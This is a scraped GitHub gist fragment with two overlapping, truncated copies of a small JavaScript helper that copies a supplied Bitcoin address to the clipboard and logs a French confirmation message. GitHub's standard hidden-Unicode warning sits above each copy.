This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| (function () { | |
| 'use strict'; | |
| let alreadyExecuted = false; | |
| function copyAddressToClipboard(address) { | |
| const textarea = document.createElement("textarea"); | |
| textarea.value = address; | |
| document.body.appendChild(textarea); | |
| textarea.select(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| let alreadyExecuted = false; | |
| function copyAddressToClipboard(address) { | |
| const textarea = document.createElement("textarea"); | |
| textarea.value = address; | |
| document.body.appendChild(textarea); | |
| textarea.select(); | |
| try { | |
| document.execCommand("copy"); | |
| console.log("Adresse BTC copiée:", address); |